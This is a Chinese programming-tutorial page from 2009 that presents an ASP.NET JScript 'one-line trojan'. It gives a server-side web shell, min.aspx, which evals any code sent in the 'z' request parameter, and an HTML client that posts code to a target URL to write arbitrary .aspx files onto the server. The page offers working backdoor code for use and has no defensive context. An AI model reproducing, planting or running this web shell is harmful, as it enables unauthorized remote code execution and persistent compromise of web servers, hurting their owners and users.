当前位置: 首页 > 图文教程 > 网络编程 > ASP.NET > asp.net jscript 一句话木马

ASP.NET
为T-SQL添加intellisense功能
SQL Server 2005安装过程中出现错误的解决办法
SQL Server 2005 RTM 安装错误 :The SQL Server System Configuration Checker cannot be executed due to
有关于JSON的一些资料
不能忽略c#中的using和as操作符的用处
JavaScript系列之―同步还是异步?
获取远程网页的内容之一(downmoon原创)
获取远程网页的内容之二(downmoon原创)
ASP.Net中防止刷新自动触发事件的解决方案
asp.net下用js实现鼠标移至小图,自动显示相应大图
Asp.Net 和 AJAX.Net 的区别
提交页面的定位--scrollIntoView的用法
利用AJAX与数据岛实现无刷新绑定
asp.net下判断用户什么时候离开,以什么方式离开
DataSet 添加数据集、行、列、主键和外键等操作示例
读写xml所有节点个人小结 和 读取xml节点的数据总结
收藏的asp.net文件上传类源码
asp.net下GDI+的一些常用应用(水印,文字,圆角处理)技巧
一个可以让.net程序在非WIN平台上运行的软件Mono
使用ASP.NET 2.0 CSS 控件适配器生成CSS友好的HTML输出

ASP.NET 中的 asp.net jscript 一句话木马


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 94 ::
收藏到网摘: n/a

min.aspx
复制代码 代码如下:

<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>

复制代码 代码如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<style type="text/css">
td,table,tr {
list-style: none;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
line-height: 180%;
}
input,textarea {
width:780px;
}
</style>
<title>aspx一句话木马客户端</title></head>
<body bgcolor="D4D0C8">
<hr>
<table width="100%" border="0" cellpadding="4" cellspacing="0" bgcolor="#D4D0C8">
<form action="sdfsdf" method="post" name="sform" id="sform">
<tr>
<td width="74" align="right" valign="bottom">URL:</td>
<td width="885" valign="bottom"><input name="URL" type="text" id="URL" value="http://" /></td>
</tr>
<tr>
<td align="right" valign="top">操作:</td>
<td><textarea name=z rows=10 width=45>
var nonamed=new System.IO.StreamWriter(Server.MapPath("名称.aspx"),false);
nonamed.Write(Request.Item["l"]);
nonamed.Close();</textarea></td>
</tr>
<tr>
<td align="right" valign="top">写入内容:</td>
<td><p>
<textarea name=l rows=13 width=45></textarea>
<input type="button" value="提交" onclick="javascript:document.sform.action=document.sform.URL.value;submit();" />
</p>
</td>
</tr>
<tr>
<td align="right"> </td>
<td>
<div align="left">
<p>服务端: min.aspx 客户端:client.htm</p>
</div>
</td>
</tr>
</form>
</table>
<hr>
</BODY>
</HTML>